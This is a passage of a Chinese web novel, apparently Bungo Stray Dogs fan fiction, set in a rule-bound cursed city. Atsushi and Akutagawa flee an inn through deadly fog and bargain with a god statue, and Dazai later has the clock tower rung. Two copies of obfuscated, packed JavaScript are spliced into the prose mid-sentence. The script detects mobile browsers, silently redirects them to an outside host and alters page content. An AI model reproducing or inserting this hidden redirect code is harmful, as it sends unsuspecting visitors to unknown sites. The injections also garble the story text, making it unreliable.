“您好，尊贵的客人，我已经知晓了你们想要退房的诉求，请问你们是哪一间房间呢？”旅店的老板仿佛真诚地希望自己的客人能感受到如沐春风的待遇，措辞文雅。 “0429。”敦补充。 “0429呀。”旅店老板提溜了眼珠子，像是在思考，很快，笑容加深：“我知晓了，我们会为您处理退房的需求。请问客人是想要以怎样的方式支付房费呢？” “目前面对城民，波的旅店的物价为：许可银币2枚至休沐日。倘若客人有别的等值的东西，同样可以用于支付房费，我们不会对此有任何意义？” “房费？”敦的目光陷入茫然。 旅店老板笑容不变：“是的呢，作为波的旅店的客人，我们诚挚地为您打取折扣，鉴于您未住满至休沐日，我们只收取基础地价格，您只需要给出一枚许可银币即可。” “许可银币？”敦显得更加迷茫。 那张看起来一直毫无变化的脸依旧不对此有任何的回应，只是一味地提醒芥川与敦提交各自的房费。 但他们昨日一整日都在做各自的事情，无论是调查自己的追捕对象，还是离开这座遗迹的“门”所在，都和赫尔城的生活信息没有半点关系，就连“许可银币”这个概念都是手册中一闪而过的内容，根本毫无关注。 更不可能知晓退个房还要支付它这件事。 “嗯？怎么了？尊贵的客人？”旅店老板发出略微疑惑的声音：“您支付完毕房费即可离开了呀。” 这样的话语无异于杀人诛心，但芥川和敦根本不可能直接向他说明自己根本没有这种东西。 十步之遥的服务生小姐正对他们虎视眈眈，中岛敦根本不用去想也知道，一旦他们认下自己没有所谓的“许可银币”，这位服务生小姐脸上的那些七色腐蚀光彩就会毫不留情泼他们一脸。 被芥川一句话暂时逼回脸上大洞里的东西就如同它看起来那样，美丽而危险。 白虎青年深呼吸一口气。 怎么办呢？ 他们违反了波的旅店的规则手册，作为它的住客，因此成为了旅店的肃清对象，而现在，芥川以要“退房”为由，将两人的身份调换为“将要退房的住客”。 住客退房可以在任何的时候，对于旅店而言是一件通认的常事，而在退房过程中，他们的身份随之改变，他们在其间触犯规则也将变为情有可原。 【因为我要退房，所以我必须来到一层的大厅，在这样的过程中发出声响并非我所愿，应当情有可原。】 用这样的逻辑去应对旅店规则，即便是在钻规则手册中【作为赫尔城的一份子，每位城民都有责任帮助赫尔城最尊贵的客人们完成他们的心愿，以便客人在赫尔城得到良好的生活体验，以增加赫尔城的爱与和谐。】这一条的漏洞，但作为一切规则的主干内容，它的优先级更高，实行的力度也自然更大。 这显然应证了赫尔城内规则等级有所区分的条例。 敦稍加思索，皱着眉：“可是，我们并非赫尔城城民，只是来这里的旅客。昨日不是告诉我们，因为‘城主婚礼’，我们外乡的旅客所有的开支都是免费的吗？” “原来这是不作数的吗？” 敦的话音落下，四周陷入压抑般的沉静。 就连旅店老板那张神色不变的脸都仿佛黑沉了几分。 “啊，对，外乡的旅客。”旅店老板的音调蕴含着不自然的停顿，最终的回应显得不情不愿：“你说得对，‘城主婚礼’，赫尔城大赦，一切的外乡客人，我们都需要以盛情款待。” “城主要求的的确是一切开支均免费。” “尊贵的客人，您真是十分的幸运。” 他的那张脸在烛光后显得十分不自然，但最后，旅店老板还是道：“我都忘记了，您是尊贵的外乡客人。好吧，秩序之神在上，祝您旅途愉快。” “所以，我们不需要支付那个‘房费’了？”这位旅店老板是在没有半点固定微笑外的反馈，以至于除了话语，他们根本无法得知旅店老板的意思。 这使得敦云里雾里。 “那是当然，尊贵的外乡客人。”一旁的服务生点头致意，“您可以离开了。” 在万众的目光中，敦浑身发毛，和芥川一前一后微微错开向外而去。 余光里，敦看见波的旅店内的这些“客人”神色麻木。 芥川推开旅店的大门，门外浓雾弥漫。 他微微一顿，身后，服务生站在原地：“怎么了？尊贵的客人。请问您需要帮助吗？非客人不可在波的旅店滞留超过一定时长，请问您是要办理入住吗？” 敦还在回头看那张前台后的旅店老板脸。 而四周，泼墨的油画已经开始暴动。 他们不得不做出抉择。 在权衡之后，芥川以迅雷之势将门边挂着的油灯摘下，拉着敦迅速进入大雾之中。 25. 神明遗迹（二十一） 波的旅店内，随着芥川将门口那盏油灯摘下，大厅里的所有“人”几乎在同一时间暴起。 敦几乎是被芥川突然性地拖进浓郁的大雾里的。 在最后的那一眼里，他突然开口：“芥川，你觉不觉得，旅店老板那张脸，看起来很像是画布里被刻意勾露出立体的画像？” “我们好像，在画里。” “不是在画里，是在油画的展馆里。”芥川将灯举在胸前，将两个人完整地包裹在油灯的灯光中。 “门口那张歇业的挂牌反面，有一行‘赫尔城经典油画画作展馆型旅店欢迎您’的欢迎词。” “波的旅店或许最开始，就不是一间简单的旅店，只是在一个平和的时间节点里，它看起来像是旅店。” 面无表情的垂耳兔青年一字一句向同伴解释困惑。 “你还记得那句被人写下的批注吗？” 【逃，快逃！这里根本不是什么……】 这里不是什么呢？ 在看见被挂出来的木牌上书写刻下的字后，芥川唯一能得出的结论就是——这里根本不是什么旅店，而是被展出油画的一个画作展馆！而这个展馆之中，是被展出的数幅油画画作。 当不同于两短一长的钟声响起时，这座被成为“波的旅店”的旅店才会露出它的真实面目。 房间外是被展出的油画画作，这些油画画作或许会因为这响声而产生异动，流露出它画作中的真实模样，将那些油画的色块裸露在外。 这当中或许还有更多的，别的东西，但这后续的一切就不是他们眼下需要考虑的东西了。 毕竟，在那句凌乱话语之后，还有一句看似癫狂的【假的，都是假的，根本没有神明】的话语。 一座处处以“秩序之神在上”为口头禅，深得所有城民爱戴的信仰城市没有神明，再配合上处处限制活动的规则，怎么看都不像是一个好兆头。 他们现在遇到的事情已经足够棘手，在确认自己追捕的那些“偷渡犯”多少已经凶多吉少后，芥川与敦已经并不需要再深入挖掘遗迹当中的事情。 魔法元素稀薄，诡异至极的亡灵，不时响起的钟声以及众生之后随机重叠的时空，每一样东西，都不是毫无准备的他们所能够解决的东西了。 【绝不在非必要的任务强出风头。】 【绝不在非必要的时刻违反任务。】 无论是莱欧城邦的哪一条官方人员守则，芥川都不会去主动违背。 更何况是敦。 “现在的情况下，这个莫名其妙的钟声已经不知道会在什么时候响起。除却它最初说的用于计时的那三道钟声，其余时刻，它分明就是在毫无规则地改变我们所处地方的赫尔城面貌。” “元素魔法用不了，你我待在这里就是等死。谁知道这些规则到底是不是都有用。不能再在这里逗留了，我们必须得走。” 芥川的每一句话都带有不容违背的意思，事实上，敦也并不会在这种情况下和他唱反调。 他老实地跟着芥川，直到他们在大雾之中走了很长一段时间，走到敦明显觉察体力的下降，他才不确定地道：“芥川？你确定我们现在走的方向是对的吗？我们要去哪里？” 芥川微微皱眉。 事实上，他也发现了路径的不对。 芥川想要到咨询处看一看。 在通读了赫尔城的所有规则之后，芥川唯一能想到的，引人瞩目的点，就是反复提及的咨询处门口的“喷泉雕像”。 在整个赫尔城中，只有咨询处有着“雕像”的描述，除此之外，就是城民口口相传中城中心的“教堂”内有一座神明的雕像。 遗迹的出口大多和遗迹核心相关的物品有所联系。 在“赫尔城”这个遗迹内，就芥川与敦目前所有的了解而言，他们唯一能得出的遗迹核心，就是“神明”与“秩序”。 “神明”漂渺无迹，而秩序随处可寻。 只是这些秩序，大都和其中的人的生存可能相联系。 在如此混乱和冗杂的秩序规则之中，芥川唯一能考虑到的，可能能用于寻找遗迹出口的“门”的线索，就只有“神明”。 那么，摆在最明面上，同神明相关的，就只有所谓的“神明雕像”了。 两个青年在油灯的照耀下，一路向前。依照赫尔城的构造，以这样的方式行径，应该迟早会到达目的地，但他们已经不知道走了多久，却始终没有听见喷泉的流水声。 就好像，这个东西在这场大雾之中彻底消失了。 但这显然是不可能的。 芥川对此不以为然。 他们在进入遗迹前都喝过炼金术师做的魔法药水，用于抵抗短期内的饥饿、口渴以及体力的大幅度消耗。 这些都是最常规的出发准备，芥川与敦在进入遗迹前也不无例外，服用过一瓶效用一周的药水。 但眼下，作为白虎的敦切切实实体会到了体力的下降，更何况原本身体素质就不如他的芥川。 垂耳兔青年明显感到有些许疲惫，步伐不如先前灵快，连呼吸都在行动中沉重不少。 敦略显担忧地看向他：“芥川，要不我们找个地方休息一下？这雾里，我们什么都看不见啊。” 芥川摇头：“不行。” 他微微握紧了手中这盏油灯。 这盏油灯的确和酒店橱柜中的有所不同，没有腻人的香味，满到几乎要溢出的灯油，和泛冷的淡白色光。 随着灯火的燃烧，芥川甚至能感受到黄铜提手上逐渐降低的凉意。 但这些都不是他不停下脚步的原因。 “你听我说，人虎。”芥川压低声音，当事态隐隐不受控制时，他常常会因为情绪而忘记说谦语。 “不能停下来，我能感受到，我们周围有很恐怖的死气迫近。似乎是碍于这盏灯，这些死气才没有把我们吞掉。” “但我无法确定，这盏灯什么时候会灭掉。倘若那两份守则里的规则没有作假，那么我们现在，必须找到咨询处，才能歇下来。” 以芥川的能力，能让他都说出“恐怖”的死气，那必然不是他们所能处理的东西了。 【不要试图在雾中寻找正确的方向，这是不存在的。】此时此刻，规则应验。 中岛敦当然明白事态的严重性，也不再说话，跟着芥川继续向前。 他们的脚步没有半分停下，甚至敦直接半兽化，用一双虎耳去听四周的声音。 但除了宁静和身边人愈发粗重的喘息外，敦没有听到任何其余的声音。 不知是何缘故，随着时间的流逝，芥川开始轻微地咳嗽。 随着他们行走的路程越来越远，芥川逐渐无法压抑自己的咳嗽，他的喉咙仿佛坏掉的风箱，持续地抽拉着狂风，令人揪心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962305|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “走。”芥川紧紧握住敦的手，逐渐从走变为快走，从快走到几乎小跑—— 直到某一瞬间，芥川突然扑到敦身上。 “砰——”黄铜落地的清脆声响。 两个人狠狠地同时摔倒在地。 芥川手中紧握着的油灯滚落到一步之遥，散发着幽幽白光。 敦还来不及反应，下意识揽住的芥川腰部的手摸到粘腻的“水流”。 借着白光，他看清压在他身上的芥川此时此刻的模样。 垂耳兔青年艰难的喘着白气，面色惨白。他应当是被冻得狠了，整个右手臂都凝上一层薄冰。 更糟糕的是，他的腰部被不知道什么东西豁拉开三道几乎算贯穿的口子，血肉横流。 在大雾之中，敦清楚地看见不知名的庞然大物在暗处若隐若现，只是碍于浅薄的光亮，迟迟没有上前。 危险感不用垂耳兔青年再提醒，他也清楚了。 敦声调哽咽：“你在干什么？帮我挡么？” 在刚才的那段赶路中，是敦不断地在被垂耳兔青年从黑暗中拉回到光亮中。 但显然，蛰伏太久的敌人并没有那样好的耐心，在他又一次脱离光亮之际，主动出击，只是被身旁的芥川给迅速挡掉。 “你在胡说八道什么，人虎。”芥川显然痛苦至极，他艰难地喘息着，却依旧高傲地抨击自己的死对头。 敦的手臂没入黑暗，试图将自己和芥川撑起来，却意外触碰到坚硬的石壁。 他微微怔愣，一把抓过一旁的油灯。 忽略掉其上已经一碰就凝结的寒冷温度，白虎青年顺着光亮望去，入眼是喷泉外围的石栏，而正中心，正正是他们寻找已久的“神明雕像”。 但这座喷泉显然枯竭已久，青苔与杂草横生，落叶铺满池底，根本没有半点喷泉样。 【最好不要进入雾中，倘若你不幸进入其中，请闭上眼，向着水声方向而去，但请不要踏入水中。】 真是见了鬼，这种东西，能有水声？ 白虎青年又哭又笑，矛盾至极。 这座神明雕像和敦之前在咨询处见过的所有都有些不一样，依旧是通身的长袍斗篷，却明显能看出祂婀娜的身形。 祂什么都没有做，只是安静地打着伞，另一只手微微伸出，仿佛在提着什么。 敦微微怔愣，无端地被引诱着，将手中的黄铜油灯挂在祂的身上。 白光乍亮，驱散了周遭的一切黑暗。 此刻，光暗不可共存。 恍惚间，白虎青年听见温柔的声音询问：“交易内容？” 他沉思半晌，无声呢喃了一句什么，随后蹲下身，从趴着的，出气多，进气少的芥川身上扒拉出上册的规则手册，翻到最后，将羊皮卷撕下一角，用潦草的自己写了什么。 声音的主人稍加沉思，认可了他的想法，随后，白虎青年脚下的垂耳兔青年身上的伤口肉眼可见地愈合、修复，他的面色也稍好些许。 祂又对垂耳兔青年问出同样的话语，在一片沉默里，垂耳兔青年说：“我愿意以留在这里作为交易，让他出去。” 祂为此开怀大笑。 白光而过，白虎青年陷入昏睡，随后，罗生门包裹着他，和他一同消失在光中。 祂悄悄将一封羊皮纸，连同白虎青年自己写下的东西一起，放入白虎青年的怀中。 26. 神明遗迹（二十二） 当太宰治来到遗迹之时，所得到的最终结论，就是一个离开遗迹的“月下白虎”昏睡不醒，留在遗迹中的垂耳兔青年成为“咨询处”一楼的工作人员。 没有人能够知晓他们曾发生过什么，因为当事人无法再为此叙述。 “真是一个令人感动的故事呢。”太宰治满意地鼓掌，笑着起身，缓缓走至芥川身边，轻轻拍了拍垂耳兔青年的肩膀：“看来你们搭档得不错，至少，在这样的情况下还能爆发出这样坚贞不渝的情感，真是可喜可贺。” 芥川迷茫地睁着眼，看着自己的老师神色愉快地从房间的这头径直走向床边，随手扫开床边趴着的小黑猫，将床上那位一直睡着地橘发青年从被单中抱出来。 黑色的猫猫宰冲太宰治哈气，奈何以它现在的体型，根本无法阻拦太宰治的动作，只是喵喵咧咧地跟在太宰治的身后。 他仔细地将自己的魔法外袍为橘发青年掩盖得严严实实，小心翼翼地将橘发青年背在背上。 芥川略有些没有眼色地上前，询问太宰治是否需要帮助，得到绷带青年不含感情的冷冷一瞥后，垂耳兔青年十分机智地后退了。 太宰猫猫两步跃上垂耳兔青年的脑袋，颐指气使地要求芥川快点跟上已经推开房门准备离开的太宰治。 太宰治在走廊门口扫视过那些精致的油画画作，挑眉，满是神色轻松的模样。 一行人很快从旅店中离开。 芥川跟在他的身后，小心地顶着太宰猫猫，时刻还要注意它是否没抓稳，会自己掉落下去。 芥川疑惑不解：“太宰先生，您就这样离开旅店，难道不怕钟声响起，时间紊乱吗？” “还有，您背上的这位是？他看起来一直在昏睡，身体还好吧？” 太宰并未回头，只是背着中也，随口答复：“这当然是我养的小狗啊——怎么样，很漂亮吧？” 尽管芥川无论如何都无法看出这位被太宰先生背着的，明显是个大活人，性别不详的“先生”或“小姐”有狗系兽人族的特征，但芥川向来不会忤逆太宰治的意愿，只是一味认同：“太宰先生说的对。” “不过，太宰先生，我们是要去哪里？” 太宰治若有似无地轻哼一声，语焉不详：“芥川，你能分清时间错乱与空间错乱么？” 芥川不明所以：“恕在下愚钝。” 他们沿着街道，如同真正的，对城市充满好奇的旅客，一路在不同的摊位上走走停停，偶尔，太宰治会对某些摊位上的小物件产生“好奇心”而停下脚步。 在摊主们热情地详细介绍自己摊位上的东西之后，绅士地点点头，露出一副满意的模样，提出对他们的“货品”的恭维，顺口提两句有关城内布局消息的问题。 这个时候，摊主们往往会十分乐意地同太宰治分享自己知晓的，合理范围内的消息，而后表露出自己作为外乡人的身份：“我已经得到太多赫尔城城民的帮助，倘若再厚颜无耻地拿走你们的东西，实在是会令人过意不去呀。” 摊主们便会在此刻抹一抹眼角不存在的眼泪，向太宰治说明：“哦，诗人先生，您实在是心地善良。愿秩序之神保佑您。” 他们并不会过多地苛求，也不会强行将货物以“赠与”的方式交给太宰治。 于是双方达成微妙的平衡，太宰治向他们致谢离开。 芥川自然不理解太宰治行为的用意。 他只是默默地跟在太宰治身后，直到偶然一个摊位的摊主出声：“咨询处的工作人员先生呢，请问您需要购买一些我们的用具吗？我想，书籍本应当十分适合先生您。” “至少，也能在先生工作时提供一些浅薄的，消遣时间的乐趣。” 芥川微微发怔。 “啊，现在也是工作时间呢，我想，在这个时候，工作人员还是不能够偷懒购置产品吧？” 太宰治狡黠地向摊主眨眨眼：“更何况，我可是废了好大的劲儿才将这位工作人员先生从咨询处接出来，让他做我的临时赫尔城旅行指导呢。” “要是这位工作人员先生因为购置了您如此优秀的产品而在指导我城内生活准则的时候频频出神，我可是会很烦恼的。” “原来如此！”摊主恍然大悟：“的确如此，咨询处的工作人员倘若是在为您服务，那当然应当遵守工作规章。” “既然这样，我当然不能够将东西卖给这位咨询处的工作人员先生了。” “秩序之神在上，日安先生们，祝您旅途愉快，尊贵的外乡旅客。” 他脱下自己头顶的帽子，从摊位后挪行了两步到空隙处，向太宰治与芥川行了一个标准的致谢礼仪。 太宰治眯眼笑着向他回以致谢，旋即转身，领着芥川一路向另一个方向而去。 沿途的摊位愈发稀少，在一片沉默之中，太宰治懒洋洋开口：“规则中对于人们‘身份’的界定其实很微妙。” “外乡的旅客与偷渡者，赫尔城城民与外来者。倘若简单将这里的人进行划分，最多也不过三类。” “既然如此，他们要怎样去区分这些人呢？” 太宰治轻车熟路，领着芥川低调地绕过这些摊位。 从热闹至极到人烟稀少，从边缘至中央，芥川惊异地发现，他们越来越靠近赫尔城的城中心。 遥远而高耸的城中心教堂尖顶逐渐显露在眼前，被一众骑士驻守着的威严城墙缓慢出现。 但太宰治并未靠近这一片区域，而是在一个合适的范围内，背着中也从“城内”的最边缘绕开。 太宰猫猫只在太宰转身时单睁一只鸢红色眼眸探查情况，更多的时候，它都干脆地趴在芥川头上打盹。 显然，只要垂耳兔青年能够跟上前方的太宰治，中也还在它能触及的范围内，黑猫对于周遭发生的一切都处于可以接受的状态。 “我对这个问题百思不得其解。但当我知晓城内这些‘人’对于现在芥川的评价的时候，这样的疑问很容易就能解答了呢。” “他们在用‘规则’去区分。” 通过正常方式进入赫尔城内的旅客，会在第一时间内被邀请到达“波的旅店”中入住，而随之被人们所见证的，就是这一日内，在正常的钟声响起时，呆在旅店内初次为“规则”所认同的“外乡旅客。” 而芥川因为脱离了这一点，擅自去到咨询处中一夜，使得他为规则所认定为“偷渡者”。 “对于外乡旅客而言，他们所需要经历的，就是在规则手册的安排之下，‘幸福’地度过在赫尔城内的一段时间，直至所谓的‘休沐日’到来； 而对于偷渡者而言，他们则会不断地遭遇到来自赫尔城规则之下，各种难以解释的‘生物’的攻击。” “而不断切换的钟声，则是这两者的映照。它代表着‘正确’与‘错误’。” “真是十分倒霉呢，原本应当被规则当作是外乡旅客的敦，因为和芥川相遇、搭档，而不得不奔波于规则的袭击之中。” “真是十分幸运呢，毕竟最后，你们俩都主动和这座遗迹之中不知是什么的东西——也许真是神明也说不定建立了交换的契约，从而保下一条小命。” “你看，你自己竟然成为了赫尔城的‘工作人员’之一，站在某个咨询处的一楼为不知道什么时候会到来的‘外乡旅客’或‘偷渡者’答疑解惑呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962306|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可喜可贺。” 太宰治语气轻快。 但身后的垂耳兔青年在这样答复的冲击下如遭雷击：“所以，太宰先生，我们会遇到这一切，其实是因为，在下被认定为‘偷渡者’？” 太宰治难得在赶路的路途中回头看了芥川一眼。 他的眼神古怪莫名：“芥川，人们总得去学会接受一些不得不接受的东西。” “想在一个未知的遗迹之中达成自己的职责无可厚非，但抛弃搭档，擅自行动，无论如何都算不上正确。” “我想，你应该对此有所了解。” 太宰治的声线依旧温润，但其间所蕴藏的冷漠批判却令芥川深深低下头。 垂耳兔青年当然十分清楚自己的老师究竟为自己的制定了何种要求，不然也不会专门手写了一封简单的书信，让敦递交以作提醒。 但对于中岛敦这个人的刻板印象与心中别扭情绪，芥川仍旧选择放任自己的人性行为，致使眼下这一系列惨剧的诞生。 在被太宰治唤醒之际，芥川的心中其实早早便有了对真相的“设想”，他只是不愿承认，并对此依旧报以天真的幻想，才会刻意去忽视这一切。 但当这份侥幸被太宰治亲手戳破的时候，垂耳兔青年还是陷入了深深的愧疚。 太宰治并不在意身后的这位“徒弟”究竟因为他简单的几句话陷入了怎样的头脑风暴，他只是平静地指出事实，接下来的工作，就应当是由芥川自己去反思，这是他一贯的原则。 “很抱歉，太宰先生。”芥川低下头，陷入极尽的自责：“请问，人虎现在的情况如何？” 太宰治绕着这条不被城中心骑士守卫所关注的路边缘走了很长一段距离，直到看着近在咫尺的钟塔，才停下脚步：“很遗憾，不知道敦究竟拿什么做了交易，在没有外伤，且被你的罗生门整个包裹住的情况下，不明原因地昏睡不醒。” “芥川对此有什么头绪吗？” “或者，有什么这方面相关的记忆么？” “毕竟，你现在也算是赫尔城的‘工作人员’。” 芥川随着太宰治停下脚步。 他微微皱眉，为此对自己的记忆进行剖析。 记忆的最终处，芥川其实对那座雕像的形象并不完全清楚。 他只是在濒死之际，突然感觉到生命力的回流，而后，毫无抵抗地被一道声音入侵。 那道声音平静却充满引诱力，祂将眼下发生的事件简单向芥川龙之介阐述后，向芥川陈述了“敦用某种东西和祂交换了让芥川活过来”的事实，旋即询问芥川，有什么愿望。 芥川的心脏在那一刻几乎漏了拍子。 他很清楚他们现在面临的情况。 生命力的回归并不意味着芥川能够活动自如。 后背的伤口让芥川不得不趴着，原本患有疾病的他在半边身体被冰冻的情况下根本就是危机重重下，另一个“搭档”的累赘。 再加上他居然是由人虎所救的事实，鬼使神差之下，芥川对那道声音给出自己的答复。 但现在，芥川大概对敦的答复有了头绪。 生物会陷入昏睡无非是两种情况——身体或精神。 他们进入到遗迹之中无非是一场猝不及防的意外，身上的所有，也不过一份简单的“自己”。 而什么样的交易能够将另一个濒死的“人”救回来？ 投入对等价值的“人”。 在那样的绝境之下，白虎青年仰着头，向出现在眼前的“祂”轻声道：“我没有什么愿望，如果可以，我愿意用自己的灵魂作为筹码，请让我的朋友活过来吧。” 27. 神明遗迹（二十三）（150收加更） 他们总是不对付。 至少在芥川龙之介的眼中是这样。 但当他猜测出敦的选择之后，芥川还是不得不为此触动。 “看来你已经有猜想了呢。”太宰治眯眼轻笑。 “那么，麻烦芥川将这枚银币交给钟塔负责人，然后替我敲一敲钟吧。” 顺着太宰治的视线望去，他们正正停留在钟塔之前。 紧挨着的钟塔边，是一间窄小的木屋。 屋前的门扉上，是一块挂出的，用碳墨写出“钟塔负责处”的牌子。 牌子的左下角写了一行小字：“如有需要，请向守钟人提出您的要求。” 显而易见，他们现在需要找这位“守钟人”。 太宰治单手托举着中原中也。 熟睡的橘发青年重量算不上大，至少在太宰治的心目中还算轻巧。 鸢眼的黑发男人就这样眯着眼，不知从什么地方摸出了一枚拇指大小的银币，摊开手递给芥川。 就在芥川取过银币准备敲响房门时，太宰治却突然开口：“芥川，你看看那块板子的背后有没有字。” 芥川从善如流，伸出准备敲击的手直接翻过木牌。 几行猩红的字体当即映入眼帘： “您好，如有需要，请向守钟人表明您的需求，并付出相应的报酬；请不要敲击房门，直接到窗边，敲击三次窗棂，阐明您的需求即可。” “在许可范围内，守钟人会为您解决问题。” 背面猩红的字迹如同凝固的血痂，不知是否是错觉，今日赫尔城的阳光总透露出一种不真实感。 日光下，木牌上的文字透露着诡异的恐怖。 “太宰先生，木牌上让来访者敲击窗棂三次，阐明需求。”芥川平静地将其上的文字读出来。 “那你敲吧。嗯，就按照你听见的可以确认时间的钟声顺序。”太宰治的话语几乎在芥川话音落下的同时接上，似乎对此早有预料。 木屋的窗户紧闭，其上还有被反复封定的木板痕迹，其上紧蒙着厚厚的尘灰。 零星露出的几处不过指头大小的破损空缺依稀能让人看见木屋内里深不见底的黑暗，连一丝丝赫尔城的光都无法透入。 但这不过几平米的破旧小房屋又怎么会这样黑呢？ 芥川下意识地握紧了手中那枚太宰治递来的银币。 银币冰冷轻巧，一面是模糊的天平，一面是扭曲的“秩序”。 “把银币交出去就好——就说我们想要做个交易。”太宰治的声音在芥川的身后响起，带着一种洞悉一切的慵懒。 他微微调整了一下背着橘发青年的姿势，以确保中也依旧安稳地伏在他肩头。 太宰身前，芥川头顶的黑色小猫不知何时已经跃下，在太宰治格外抗拒，但无法拒绝的情况下，浑身炸毛跃上太宰治肩头，嫌弃地将自己毛茸茸的小爪子在太宰治脸上蹭了两下，贴着中原中也的脸颊趴下。 橘发青年沉睡的面容在阴影下显得格外恬静，并未对身旁发生的一切有任何反馈。 但太宰治却格外不爽。 “啧。”太宰治不满轻叹。 如若太宰猫猫十分抗拒，不愿回到太宰治身上，那太宰治的确拿它没有什么办法。 更何况，现在他需要小心地托着中也，根本无法用大动作将这该死的猫扔下去。 鸢色眼眸的青年冷笑着选择忽视肩头那只不知好歹的猫，看着前方的芥川。 芥川应下太宰治的要求，在脑海中回想赫尔城每日三次的标准钟响。 他微垂眼眸，轻轻叩击在布满裂痕的木质窗棂上。 “笃、笃、笃——” “外乡的旅客想要用许可银币做个交易，敲一次钟塔。”太宰治在芥川身后不紧不慢地开口。 敲击声在死寂的空气中扩散开，带着一种奇异的穿透力，仿佛陷入粘稠的泥沼，无端地激起敲击者的警觉。 木屋后并没有任何反馈。 芥川屏住呼吸，罗生门已经如同蓄势待发的毒蛇，他再次敲击在窗棂上：“笃、笃、笃——” “外乡的旅客想要用许可银币做个交易，敲一次钟塔。” 这一次，不用太宰治说话，芥川主动补上了这一句讯号。 两短一长，间隔清晰之际，宛如某种报丧的回音。 就在芥川准备第三次敲击窗棂之时，那扇尘封着的木窗无端地动了。 窗户被向外推开狭小的一角，但那一角后的黑暗却依旧浓黑如墨。 紧接着，那墨色之后似乎有某种粘稠物质的蠕动着，将要挣扎而出。 芥川微微侧开一步，而后，那黑色里，一只灰白的手臂挣破黑暗，出现在芥川眼前。 这应当就是所谓的木屋“守钟人”的手臂了——但这显然并非正常“人”的手臂。 手臂之上皮肤呈现出一种莫名的灰败肿胀，其上零星分布着几处青黑色的尸斑和溃烂的脓疮。 手臂末端的手掌缓慢地比出一个“一”字，随后摊开不动了。 一股窒息的焦臭味瞬间弥散开来，令芥川微微皱眉。 芥川大致读懂了守钟人“交易一枚银币一次”的想法。 没有任何犹豫，他将那枚冰冷的许可银币放在了守钟人的手掌中央。 尽管芥川已经足够小心，但他的指尖依旧无法避免地触碰到守钟人的皮肤。 一股深入骨髓的寒意瞬间窜遍全身，宛如不久前曾经历过的，被那盏油灯冰封那样，寒冷几乎冻结灵魂。 守钟人收取到银币的那只手掌缓慢地合拢手指。 许可银币被它牢牢攥住，随即，那只诡异的手臂便缩回了窗内的黑暗之中。 木窗重新合拢，灰尘和先前一样严丝合缝，好像什么都没有发生过，除了空气中久久不散的焦臭味。 “太宰先生。”芥川转头，对发生的一切满头雾水。 “交易成立。”太宰治的声音平静无波，仿佛刚才目睹的只是一场寻常的市集交易。 他看起来格外轻松，甚至面带微笑道：“看起来，这位守钟人相当好说话呢。芥川，去敲钟。” “敲钟？”芥川微怔，目光投向那座高耸、沉默的钟塔。 印象里，那钟塔高达百米，塔身由漆黑的巨石垒砌，只有塔顶悬挂着一口巨大的钟。 钟塔的底部连常规的通道都没有，更不用提看起来光滑至极，空空荡荡，连向上的木梯都是奢望的钟塔身。 倘若他们能正常使用魔法，这一切当然算不上什么阻碍。 但在赫尔城这样魔法元素稀少的地方，芥川对此无计可施。 不过，芥川的质疑很快消失得无影无踪。 他的眼前，原本空荡荡的地方垂落下来一根看起来不太牢靠的敲钟绳索，绳索的末端捆绑着一个巨大的铜环。 太宰治的声音在他身后响起，为芥川解决了心中长久的疑问： “你们总觉得是因为空间的重叠而使得你与人虎陷入了不同的场景之中，这是一种空间上的错误。” “但在我看来，你们其实是陷入了这座‘城市’不同的时空。这是一种时间的错误，而这座被规则中反复提及，用来确认时间的钟塔才是一切的根源。” “而迷雾，或许只是掩盖这现象的工具。这个时空的赫尔城的确安定，但芥川，安定于遗迹之中从来都意味着真相的隐藏。你们是在钟声之后踏入迷雾中的时空，完成交易才离开的人。” “不论是对于昏迷不醒的敦，还是寻找出去的路，我们都不得不主动踏入那个显然更危险的时间之中。” “为此，我认为你们的选择是当时最好的选择。” 芥川略略哽咽，沙哑喉咙：“那么，太宰先生，在下应该怎么敲响这口钟呢？” 太宰治轻笑，十分鼓励年轻人勇敢迈出脚步：“随便你，想怎么敲怎么敲——敲到迷雾散开，放心，我一直在你身后。” 有了太宰治的鼓舞，即便依旧在忐忑之中，芥川却不再犹豫。 他上前一步，双手抓住铜环。 同样冰凉的触感，却没有方才守钟人那般令人毛骨悚然。 铜环之上隐隐有一股混合着灰尘、铁锈的陈旧气味，芥川深吸一口气，调动起全身的力量，猛地向后拉动绳索。 “铛——” 第一声钟鸣如同沉睡巨兽的咆哮，伸出撕裂宁静的巨爪，猛地袭击于赫尔城的每个角落，沉重而恐怖。 浓稠的迷雾自钟塔边扩散开来，掩盖了芥川与太宰一行人的身形。 “铛——铛铛——” 钟声余音未散，芥川并未关注周遭发生的一切，他的眼前依旧是迷雾。 芥川持续拉响第二下、第三下古钟…… 于是，成型的迷雾在持续的钟声下缓缓散开。 每一次钟声之后，整个赫尔城都仿佛更加压抑而痛苦。 紧随其后，令人毛骨悚然的变化发生了。 如同被无形的巨手剥脱下色彩的壁画，属于赫尔城的世界开始以一种令人眩晕的速度褪去原本的安详，崩坏自钟塔为基点，迅速向外延展，无可回头。 街道两旁那些原本色彩鲜艳，悬挂的花环、彩带、喜庆的蜡烛等“婚礼”装饰，瞬间化为飞灰； 房屋之上，鲜活的生机如同融化的蜡油般流淌下来，建筑的底端露出焦黑，碳化的木质结构； 精致的雕花窗棂扭曲变形，玻璃碎裂，只留下黑洞洞的窗口，像无数张无声呐喊的嘴； 